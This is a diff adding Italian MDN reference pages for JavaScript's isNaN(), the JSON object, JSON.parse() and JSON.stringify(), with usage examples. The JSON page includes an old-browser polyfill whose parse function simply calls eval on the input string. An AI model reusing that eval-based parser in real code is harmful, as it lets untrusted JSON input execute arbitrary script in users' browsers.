+<h3 id="Parameters" name="Parameters">Parametri</h3>
+
+<dl>
+ <dt><code>number</code></dt>
+ <dd>Il valore da controllare.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Descrizione</h2>
+
+<h3 id="The_necessity_of_an_isNaN_function" name="The_necessity_of_an_isNaN_function">La necessità di una funzione <code>isNaN()</code></h3>
+
+<p>A differenza di tutti gli altri valori in JavaScript, non è possibile usare gli operatori di uguaglianza (<code>==</code> e <code>===</code>) per determinare se un valore è {{jsxref("NaN")}} oppure no, perché entrambe le uguaglianze <code>NaN == NaN</code> e <code>NaN === NaN</code> vengono considerate false. Ecco perché è necessaria una funzione <code>isNaN()</code>.</p>
+
+<h3 id="Origin_of_NaN_values" name="Origin_of_NaN_values">L'origine del valore <code>NaN</code></h3>
+
+<p>Il valore <code>NaN</code> è generato da un'operazione aritmetica il cui risultato è {{jsxref("undefined")}} o un valore <em>non rappresentabile</em>. Tali valori non rappresentano necessariamente un valore oltre i limiti. <code>NaN</code> può anche essere il risultato del trasformare valori non-numerici dai quali non è possibile ottenere un numero in numeri.</p>
+
+<p>Per esempio, dividere zero per zero restituisce <font face="Consolas, Monaco, Andale Mono, monospace">NaN</font>, ma dividere un qualsiasi altro numero per zero no.</p>
+
+<h3 id="Comportamenti_particolari">Comportamenti particolari</h3>
+
+<p>Già dalla prima versione della specifica della funzione <code>isNaN</code>, il suo comportamento con valori non-numerici può confondere. Quando il parametro della funzione <code>isNaN</code> non è di tipo {{jsxref("Number")}}, questo viene prima trasformato in un numero. Il test per determinare se il parametro è {{jsxref("NaN")}} viene effettuato sul valore convertito. Quindi per i valori non-numerici che possono essere trasformati in un numero diverso da <code>NaN</code> la funzione restituisce <code>false</code>. La stringa vuota, per esempio, suciramente non è un numero, ma la funzione restituisce <code>false</code>. La confusione nasce dal fatto che il termine "not a number" (rappresentato da <code>NaN</code>) ha un significato per i numeri rappresentati come valori a virgola mobile IEEE-754. La funzione dovrebbe quindi essere interpretata come "È questo valore, quando convertito in un numero, un valore "Not a Number" secondo lo standard IEEE-754?"</p>
+
+<p>La prossima versione di ECMAScript (ES6) definiesce la funzione {{jsxref("Number.isNaN()")}}. <code>Number.isNaN()</code>, che ritorna <code>false</code> per tutti i valori non-numerici, sarà un metodo affidabile per sapere se un numero è <code>NaN</code> o no. In assenza di <code>Number.isNaN</code>, l'espressione <code>(x !== x)</code> è il metodo più affidabile per determinare se un numero è <code>NaN</code> oppure no, perché evita i falsi positivi generati dalla funzione <code>isNaN()</code>.</p>
+
+<h2 id="Examples" name="Examples">Esempi</h2>
+
+<pre class="brush: js">var x = NaN;
+isNaN(x);        // true
+Number.isNaN(x); // true
+x !== x;         // true
+
+var x = undefined;
+isNaN(x);        // true, perché undefined viene convertito in NaN
+Number.isNaN(x); // false
+x !== x;         // false
+
+var x = {};
+isNaN(x);        // true, perché {} viene convertito in NaN
+Number.isNaN(x); // false
+x !== x;         // false
+
+isNaN(true);     // false, perché true viene convertito in 1
+isNaN(null);     // false, perché null viene convertito in 0
+isNaN(37);       // false
+
+// Stringhe
+isNaN("37");     // false, perché "37" viene convertito in 37
+isNaN("37.37");  // false, perché "37.37" viene convertito in 37.37
+isNaN("");       // false, perché una stringa vuota viene convertita in 0
+isNaN(" ");      // false, perché una stringa con soli spazi viene convertita in 0
+
+// !!! Ecco un esempio di falso positivo
+var x = "37ab";
+isNaN(x);        // true, perché "37ab" viene convertito in NaN
+Number.isNaN(x); // false
+x !== x;         // false
+
+// Date
+isNaN(new Date()); // false, perché una data che viene convertita in un
+                   //        numero ritorna un valore intero
+
+var x = new Date().toString();
+isNaN(x);        // true, perché il metodo new Date().toString() restituisce una
+                 //       stringa alfanumerica, che viene convertita in NaN
+Number.isNaN(x); // false
+x !== x;         // false</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1st Edition.</td>
+   <td>Standard</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.2.4', 'isNaN')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-isnan-number', 'isNaN')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th><span style="font-family: open sans light,sans-serif; font-size: 16px; line-height: 16px;">Funzionalità</span></th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">Supporto di base</span></td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("NaN")}}</li>
+ <li>{{jsxref("Number.isNaN()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/json/index.html b/files/it/web/javascript/reference/global_objects/json/index.html
new file mode 100644
index 0000000000..caa08b766f
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/json/index.html
@@ -0,0 +1,244 @@
+---
+title: JSON
+slug: Web/JavaScript/Reference/Global_Objects/JSON
+tags:
+  - JSON
+  - JavaScript
+  - NeedsTranslation
+  - Object
+  - Reference
+  - TopicStub
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/JSON
+---
+<div>{{JSRef}}</div>
+
+<p>The <strong><code>JSON</code></strong> object contains methods for parsing <a class="external" href="http://json.org/">JavaScript Object Notation</a> ({{glossary("JSON")}}) and converting values to JSON. It can't be called or constructed, and aside from its two method properties it has no interesting functionality of its own.</p>
+
+<h2 id="Description">Description</h2>
+
+<h3 id="JavaScript_Object_Notation">JavaScript Object Notation</h3>
+
+<p>JSON is a syntax for serializing objects, arrays, numbers, strings, booleans, and {{jsxref("null")}}. It is based upon JavaScript syntax but is distinct from it: some JavaScript is not JSON, and some JSON is not JavaScript. See also <a href="http://timelessrepo.com/json-isnt-a-javascript-subset">JSON: The JavaScript subset that isn't</a>.</p>
+
+<table>
+ <caption>JavaScript and JSON differences</caption>
+ <thead>
+  <tr>
+   <th scope="col">JavaScript type</th>
+   <th scope="col">JSON differences</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Objects and Arrays</td>
+   <td>Property names must be double-quoted strings; trailing commas are forbidden.</td>
+  </tr>
+  <tr>
+   <td>Numbers</td>
+   <td>Leading zeros are prohibited; a decimal point must be followed by at least one digit.</td>
+  </tr>
+  <tr>
+   <td>Strings</td>
+   <td>
+    <p>Only a limited sets of characters may be escaped; certain control characters are prohibited; the Unicode line separator (<a href="http://unicode-table.com/en/2028/">U+2028</a>) and paragraph separator (<a href="http://unicode-table.com/en/2029/">U+2029</a>) characters are permitted; strings must be double-quoted. See the following example where {{jsxref("JSON.parse()")}} works fine and a {{jsxref("SyntaxError")}} is thrown when evaluating the code as JavaScript:</p>
+
+    <pre class="brush: js">
+var code = '"\u2028\u2029"';
+JSON.parse(code); // works fine
+eval(code); // fails
+</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>The full JSON syntax is as follows:</p>
+
+<pre><var>JSON</var> = <strong>null</strong>
+    <em>or</em> <strong>true</strong> <em>or</em> <strong>false</strong>
+    <em>or</em> <var>JSONNumber</var>
+    <em>or</em> <var>JSONString</var>
+    <em>or</em> <var>JSONObject</var>
+    <em>or</em> <var>JSONArray</var>
+
+<var>JSONNumber</var> = <strong>-</strong> <var>PositiveNumber</var>
+          <em>or</em> <var>PositiveNumber</var>
+<var>PositiveNumber</var> = DecimalNumber
+              <em>or</em> <var>DecimalNumber</var> <strong>.</strong> <var>Digits</var>
+              <em>or</em> <var>DecimalNumber</var> <strong>.</strong> <var>Digits</var> <var>ExponentPart</var>
+              <em>or</em> <var>DecimalNumber</var> <var>ExponentPart</var>
+<var>DecimalNumber</var> = <strong>0</strong>
+             <em>or</em> <var>OneToNine</var> <var>Digits</var>
+<var>ExponentPart</var> = <strong>e</strong> <var>Exponent</var>
+            <em>or</em> <strong>E</strong> <var>Exponent</var>
+<var>Exponent</var> = <var>Digits</var>
+        <em>or</em> <strong>+</strong> <var>Digits</var>
+        <em>or</em> <strong>-</strong> <var>Digits</var>
+<var>Digits</var> = <var>Digit</var>
+      <em>or</em> <var>Digits</var> <var>Digit</var>
+<var>Digit</var> = <strong>0</strong> through <strong>9</strong>
+<var>OneToNine</var> = <strong>1</strong> through <strong>9</strong>
+
+<var>JSONString</var> = <strong>""</strong>
+          <em>or</em> <strong>"</strong> <var>StringCharacters</var> <strong>"</strong>
+<var>StringCharacters</var> = <var>StringCharacter</var>
+                <em>or</em> <var>StringCharacters</var> <var>StringCharacter</var>
+<var>StringCharacter</var> = any character
+                  <em>except</em> <strong>"</strong> <em>or</em> <strong>\</strong> <em>or</em> U+0000 through U+001F
+               <em>or</em> <var>EscapeSequence</var>
+<var>EscapeSequence</var> = <strong>\"</strong> <em>or</em> <strong>\/</strong> <em>or</em> <strong>\\</strong> <em>or</em> <strong>\b</strong> <em>or</em> <strong>\f</strong> <em>or</em> <strong>\n</strong> <em>or</em> <strong>\r</strong> <em>or</em> <strong>\t</strong>
+              <em>or</em> <strong>\u</strong> <var>HexDigit</var> <var>HexDigit</var> <var>HexDigit</var> <var>HexDigit</var>
+<var>HexDigit</var> = <strong>0</strong> through <strong>9</strong>
+        <em>or</em> <strong>A</strong> through <strong>F</strong>
+        <em>or</em> <strong>a</strong> through <strong>f</strong>
+
+<var>JSONObject</var> = <strong>{</strong> <strong>}</strong>
+          <em>or</em> <strong>{</strong> <var>Members</var> <strong>}</strong>
+<var>Members</var> = <var>JSONString</var> <strong>:</strong> <var>JSON</var>
+       <em>or</em> <var>Members</var> <strong>,</strong> <var>JSONString</var> <strong>:</strong> <var>JSON</var>
+
+<var>JSONArray</var> = <strong>[</strong> <strong>]</strong>
+         <em>or</em> <strong>[</strong> <var>ArrayElements</var> <strong>]</strong>
+<var>ArrayElements</var> = <var>JSON</var>
+             <em>or</em> <var>ArrayElements</var> <strong>,</strong> <var>JSON</var>
+</pre>
+
+<p>Insignificant whitespace may be present anywhere except within a <code><var>JSONNumber</var></code> (numbers must contain no whitespace) or <code><var>JSONString</var></code> (where it is interpreted as the corresponding character in the string, or would cause an error). The tab character (<a href="http://unicode-table.com/en/0009/">U+0009</a>), carriage return (<a href="http://unicode-table.com/en/000D/">U+000D</a>), line feed (<a href="http://unicode-table.com/en/000A/">U+000A</a>), and space (<a href="http://unicode-table.com/en/0020/">U+0020</a>) characters are the only valid whitespace characters.</p>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{jsxref("JSON.parse()")}}</dt>
+ <dd>Parse a string as JSON, optionally transform the produced value and its properties, and return the value.</dd>
+ <dt>{{jsxref("JSON.stringify()")}}</dt>
+ <dd>Return a JSON string corresponding to the specified value, optionally including only certain properties or replacing property values in a user-defined manner.</dd>
+</dl>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>The <code>JSON</code> object is not supported in older browsers. You can work around this by inserting the following code at the beginning of your scripts, allowing use of <code>JSON</code> object in implementations which do not natively support it (like Internet Explorer 6).</p>
+
+<p>The following algorithm is an imitation of the native <code>JSON</code> object:</p>
+
+<pre class="brush: js">if (!window.JSON) {
+  window.JSON = {
+    parse: function(sJSON) { return eval('(' + sJSON + ')'); },
+    stringify: (function () {
+      var toString = Object.prototype.toString;
+      var isArray = Array.isArray || function (a) { return toString.call(a) === '[object Array]'; };
+      var escMap = {'"': '\\"', '\\': '\\\\', '\b': '\\b', '\f': '\\f', '\n': '\\n', '\r': '\\r', '\t': '\\t'};
+      var escFunc = function (m) { return escMap[m] || '\\u' + (m.charCodeAt(0) + 0x10000).toString(16).substr(1); };
+      var escRE = /[\\"\u0000-\u001F\u2028\u2029]/g;
+      return function stringify(value) {
+        if (value == null) {
+          return 'null';
+        } else if (typeof value === 'number') {
+          return isFinite(value) ? value.toString() : 'null';
+        } else if (typeof value === 'boolean') {
+          return value.toString();
+        } else if (typeof value === 'object') {
+          if (typeof value.toJSON === 'function') {
+            return stringify(value.toJSON());
+          } else if (isArray(value)) {
+            var res = '[';
+            for (var i = 0; i &lt; value.length; i++)
+              res += (i ? ', ' : '') + stringify(value[i]);
+            return res + ']';
+          } else if (toString.call(value) === '[object Object]') {
+            var tmp = [];
+            for (var k in value) {
+              if (value.hasOwnProperty(k))
+                tmp.push(stringify(k) + ': ' + stringify(value[k]));
+            }
+            return '{' + tmp.join(', ') + '}';
+          }
+        }
+        return '"' + value.toString().replace(escRE, escFunc) + '"';
+      };
+    })()
+  };
+}
+</pre>
+
+<p>More complex well-known <a class="external" href="http://remysharp.com/2010/10/08/what-is-a-polyfill/">polyfills</a> for the <code>JSON</code> object are <a class="link-https" href="https://github.com/douglascrockford/JSON-js">JSON2</a> and <a class="external" href="http://bestiejs.github.com/json3">JSON3</a>.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.12', 'JSON')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-json-object', 'JSON')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>{{CompatIE("8.0")}}</td>
+   <td>{{CompatOpera("10.5")}}</td>
+   <td>{{CompatSafari("4.0")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.toJSON()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/json/parse/index.html b/files/it/web/javascript/reference/global_objects/json/parse/index.html
new file mode 100644
index 0000000000..f5c823ddf1
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/json/parse/index.html
@@ -0,0 +1,126 @@
+---
+title: JSON.parse()
+slug: Web/JavaScript/Reference/Global_Objects/JSON/parse
+tags:
+  - ECMAScript5
+  - JSON
+  - JavaScript
+  - Riferimento
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/JSON/parse
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary">Il metodo <strong><code>JSON.parse()</code></strong> analizza una stringa JSON, costruendo il valore JavaScript o l'oggetto descritto dalla stringa. È possibile fornire una funzione <strong>reviver</strong> opzionale per eseguire una trasformazione sull'oggetto risultante prima che venga restituito.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/js/json-parse.html")}}</div>
+
+
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">JSON.parse(<var>text</var>[, <var>reviver</var>])</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>text</code></dt>
+ <dd>La stringa da analizzare come JSON. Vedi l'oggetto {{jsxref("JSON")}} per una descrizione della sintassi JSON.</dd>
+ <dt><code>reviver</code> {{optional_inline}}</dt>
+ <dd>Se una funzione, questo prescrive come viene trasformato il valore originariamente prodotto dall'analisi, prima di essere restituito.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>{{jsxref("Object")}} corrispondente al parametro JSON <code>text</code> dato.</p>
+
+<h3 id="Eccezione">Eccezione</h3>
+
+<p>Genera un errore {{jsxref("SyntaxError")}} se la stringa da analizzare non è JSON valida.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Utilizzare_JSON.parse()">Utilizzare <code>JSON.parse()</code></h3>
+
+<pre class="brush: js">JSON.parse('{}');              // {}
+JSON.parse('true');            // true
+JSON.parse('"foo"');           // "foo"
+JSON.parse('[1, 5, "false"]'); // [1, 5, "false"]
+JSON.parse('null');            // null
+</pre>
+
+<h3 id="Usare_il_parametro_reviver">Usare il parametro <code>reviver</code></h3>
+
+<p>Se viene specificato un <code>reviver</code>, il valore calcolato dall'analisi viene trasformato prima di essere restituito. In particolare, il valore calcolato e tutte le sue proprietà (che iniziano con le proprietà più nidificate e procedono al valore originale stesso) vengono eseguite individualmente attraverso il <code>reviver</code>. Quindi viene chiamato, con l'oggetto contenente la proprietà da elaborare come <code>this</code>, e con il nome della proprietà come stringa e il valore della proprietà come argomenti. Se la funzione  <code>reviver</code> restituisce {{jsxref("undefined")}} (o non restituisce alcun valore, ad esempio, se l'esecuzione cade al termine della funzione), la proprietà viene cancellata dall'oggetto. In caso contrario, la proprietà viene ridefinita come il valore restituito.</p>
+
+<p>Se <code>reviver</code> trasforma solo alcuni valori e non altri, sii certo di restituire tutti i valori non trasformati così come sono, altrimenti verranno eliminati dall'oggetto risultante.</p>
+
+<pre class="brush: js">JSON.parse('{"p": 5}', (key, value) =&gt;
+  typeof value === 'number'
+    ? value * 2 // ritorna: value * 2 per i numeri
+    : value     // restituisce tutto il resto invariato
+);
+
+// { p: 10 }
+
+JSON.parse('{"1": 1, "2": 2, "3": {"4": 4, "5": {"6": 6}}}', (key, value) =&gt; {
+  console.log(key); // registra il nome della proprietà corrente, l'ultimo è "".
+  return value;     // restituisce il valore della proprietà invariato.
+});
+
+// 1
+// 2
+// 4
+// 6
+// 5
+// 3
+// ""
+</pre>
+
+<h3 id="JSON.parse()_non_consente_virgole_finali"><code>JSON.parse()</code> non consente virgole finali</h3>
+
+<pre class="example-bad brush: js example-bad">// both will throw a SyntaxError
+JSON.parse('[1, 2, 3, 4, ]');
+JSON.parse('{"foo" : 1, }');
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.12.2', 'JSON.parse')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definizione iniziale. Implementato in JavaScript 1.7.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-json.parse', 'JSON.parse')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-json.parse', 'JSON.parse')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatiblità_con_i_browser">Compatiblità con i browser</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.JSON.parse")}}</p>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("JSON.stringify()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/json/stringify/index.html b/files/it/web/javascript/reference/global_objects/json/stringify/index.html
new file mode 100644
index 0000000000..9a0bf5f812
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/json/stringify/index.html
@@ -0,0 +1,325 @@
+---
+title: JSON.stringify()
+slug: Web/JavaScript/Reference/Global_Objects/JSON/stringify
+translation_of: Web/JavaScript/Reference/Global_Objects/JSON/stringify
+---
+<div>{{JSRef}}</div>
+
+<div> </div>
+
+<p>Il metodo <strong><code>JSON.stringify()</code></strong> converte un oggetto o un valore JavaScript in una stringa JSON, sostituendo facoltativamente i valori se viene specificata una funzione sostitutiva o facoltativamente includendo solo le proprietà specificate se viene specificato un array replacer.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/json-stringify.html")}}</div>
+
+
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><code>JSON.stringify(<var>value</var>[, <var>replacer</var>[, <var>space</var>]])</code></pre>
+
+<h3 id="Parametri">Parametri<a id="parametri" name="parametri"></a></h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>Il valore da convertire in stringa JSON.</dd>
+ <dt><code>replacer</code>{{optional_inline}}</dt>
+ <dd>Una funzione che altera il processo di conversione, o un array di {{jsxref("String")}} e {{jsxref("Number")}} che contiene le proprietà dell'oggetto che devono essere incluse nella stringa JSON. Se il valore è null o non è specificato, tutte le proprietà dell'oggetto sono incluse nel risultato.</dd>
+ <dt><font face="Consolas, Liberation Mono, Courier, monospace"><code>space</code></font>{{optional_inline}}</dt>
+ <dd>Un oggetto {{jsxref("String")}} o {{jsxref("Number")}} che viene utilizzato per inserire uno spazio bianco nella stringa JSON di output a fini di leggibilità.Se questo è un <code>Number</code>, indica il numero di caratteri dello spazio da usare come spazio bianco; questo numero è limitato a 10 (se è maggiore, il valore è solo <code>10</code>).Valori inferiori a 1 indicano che non deve essere usato alcuno spazio.</dd>
+ <dd>
+ <p>Se si tratta di una  <code>String</code>, la stringa (i primi 10 caratteri della stringa, se è più lunga di quella) viene utilizzata come spazio bianco. Se questo parametro non viene fornito (o è {{JSxRef("null")}}), non viene utilizzato alcuno spazio bianco.</p>
+
+ <h3 id="Valore_di_ritorno">Valore di ritorno<a id="Valore_di_Ritorno" name="Valore_di_Ritorno"></a></h3>
+
+ <p>Una stringa JSON che rappresenta il valore dato.</p>
+
+ <h3 id="Eccezioni_2">Eccezioni<a id="Eccezioni" name="Eccezioni"></a></h3>
+
+ <p>Genera un'eccezione {{JSxRef("TypeError")}} ("valore dell'oggetto ciclico") quando viene trovato un riferimento circolare.</p>
+ </dd>
+</dl>
+
+<h2 id="Descrizione">Descrizione<a id="descrizione" name="descrizione"></a></h2>
+
+<p><code>JSON.stringify()</code> converte un valore in notazione JSON che lo rappresenta:</p>
+
+<ul>
+ <li>Se il valore ha un metodo <a href="https://developer.mozilla.org/it/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify#Comportamento_di_toJSON()">toJSON()</a> è responsabile definire quali dati verranno serializzati.</li>
+ <li>Gli oggetti {{JSxRef("Boolean")}}, {{JSxRef("Number")}}, e {{JSxRef("String")}} vengono convertiti ai corrispondenti valori primitivi durante la stringificazione, in accordo con la semantica di conversione tradizionale.</li>
+ <li>Se si incontrano {{JSxRef("undefined")}}, una {{JSxRef("Function")}}, o un {{JSxRef("Symbol")}} durante la conversione, viene omesso (quando viene trovato in un oggetto) o viene censurato {{JSxRef("null")}} (quando viene trovato in un array). <code>JSON.stringify()</code> può anche restituire <code>undefined</code> quando si passa in valori "puri" come <code>JSON.stringify(function(){})</code> o <code>JSON.stringify(undefined)</code>.</li>
+ <li>Tutte le proprietà <a href="https://developer.mozilla.org/it/docs/Web/JavaScript/Reference/Global_Objects/Symbol" title='The Symbol() function returns a value of type symbol, has static properties that expose several members of built-in objects, has static methods that expose the global symbol registry, and resembles a built-in object class but is incomplete as a constructor because it does not support the syntax "new Symbol()".'><code>Symbol</code></a>-keyed <font><font>saranno completamente ignorate, anche quando si utilizza la funzione </font></font><code>replacer</code><font><font>.</font></font></li>
+ <li><font><font>Le istanze di </font></font><a href="https://developer.mozilla.org/it/docs/Web/JavaScript/Reference/Global_Objects/Date" title="Crea un'istanza Date JavaScript che rappresenta un singolo momento nel tempo. Gli oggetti data sono basati su un valore temporale che è il numero di millisecondi dal 1 ° gennaio 1970 UTC."><code>Date</code></a> <font><font>implementano la funzione </font></font><code>toJSON()</code><font><font> restituendo una stringa (la stessa di </font></font><code>date.toISOString()</code><font><font>). </font><font>Quindi, sono trattati come stringhe.</font></font></li>
+</ul>
+
+<pre class="brush: js">JSON.stringify({});                  // '{}'
+JSON.stringify(true);                // 'true'
+JSON.stringify('foo');               // '"foo"'
+JSON.stringify([1, 'false', false]); // '[1,"false",false]'
+JSON.stringify({ x: 5 });            // '{"x":5}'
+
+JSON.stringify({ x: 5, y: 6 });
+// '{"x":5,"y":6}' or '{"y":6,"x":5}'
+JSON.stringify([new Number(1), new String('false'), new Boolean(false)]);
+// '[1,"false",false]'
+
+// Simboli:
+JSON.stringify({ x: undefined, y: Object, z: Symbol('') });
+// '{}'
+JSON.stringify({ [Symbol('foo')]: 'foo' });
+// '{}'
+JSON.stringify({ [Symbol.for('foo')]: 'foo' }, [Symbol.for('foo')]);
+// '{}'
+JSON.stringify({ [Symbol.for('foo')]: 'foo' }, function(k, v) {
+  if (typeof k === 'symbol') {
+    return 'a symbol';
+  }
+});
+// '{}'
+
+// Proprietà non enumerabili:
+JSON.stringify( Object.create(null, { x: { value: 'x', enumerable: false }, y: { value: 'y', enumerable: true } }) );
+// '{"y":"y"}'
+
+</pre>
+
+<h3 id="Il_parametro_replacer">Il parametro <code>replacer</code></h3>
+
+<p><font><font>Il parametro </font></font><code>replacer</code><font><font> può essere una funzione o un array.</font></font></p>
+
+<p><strong><font><font>Come una funzione</font></font></strong><font><font>, prende due parametri: la </font></font><var><font><font>chiave</font></font></var><font><font> e il </font></font><var><font><font>valore che si</font></font></var><font><font> sta stringendo. </font><font>L'oggetto in cui è stata trovata la chiave viene fornito come il parametro </font></font><code>this</code><font><font> </font><font>del replacer.</font></font></p>
+
+<p><font><font>Inizialmente, la funzione <code>replacer</code> viene chiamata con una stringa vuota come chiave che rappresenta l'oggetto da stringificare. Viene quindi chiamato per ogni proprietà sull'oggetto o sull'array da stringificare.</font></font></p>
+
+<ul>
+ <li>Se si restituisce un {{jsxref("Number")}}, la stringa corrispondente a quel numero viene utilizzata come valore per la proprietà quando viene aggiunta alla stringa JSON.</li>
+ <li>Se si restituisce una {{jsxref("String")}}, tale stringa viene utilizzata come valore della proprietà quando viene aggiunta alla stringa JSON.</li>
+ <li>Se si restituisce un {{jsxref("Boolean")}}, "true" o "false" viene utilizzato come valore della proprietà, come appropriato, quando viene aggiunto alla stringa JSON.</li>
+ <li><font><font>Se torni </font></font><code>null</code><font><font>, </font></font><code>null</code> <font><font>verrà aggiunto alla stringa JSON.</font></font></li>
+ <li>Se si restituisce un qualsiasi altro oggetto, <font><font>l'oggetto viene ricorsivamente stringa nella stringa JSON, chiamando la funzione </font></font><code>replacer</code><font><font> su ogni proprietà, a meno che l'oggetto non sia una funzione, nel qual caso non viene aggiunto nulla alla stringa JSON.</font></font></li>
+ <li>Se si restituisce <code>undefined</code>, la proprietà non è inclusa (cioè filtrata) nella stringa JSON di output.</li>
+</ul>
+
+<div class="note"><strong>Nota:</strong> N<font><font>on è possibile utilizzare la </font></font><code>replacer</code><font><font>funzione per rimuovere i valori da una matrice. </font><font>Se si restituisce </font></font><code>undefined</code><font><font>o una funzione, </font></font><code>null</code><font><font>viene invece utilizzata.</font></font></div>
+
+<div class="note">Se desideri che il replacer distingua un oggetto iniziale da una chiave con una proprietà stringa vuota (poiché entrambi fornirebbero la stringa vuota come chiave e potenzialmente un oggetto come valore), sarà necessario tenere traccia del conteggio dell'iterazione (se è al di là della prima iterazione, è una vera e propria chiave di stringa vuota).</div>
+
+<h4 id="Esempio_di_replacer_come_funzione">Esempio di <em>replacer, </em>come funzione</h4>
+
+<pre><code>function replacer(key, value) {
+  // Filtraggio delle proprietà
+  if (typeof value === 'string') {
+    return undefined;
+  }
+  return value;
+}
+
+var foo = {foundation: 'Mozilla', model: 'box', week: 45, transport: 'car', month: 7};
+JSON.stringify(foo, replacer);
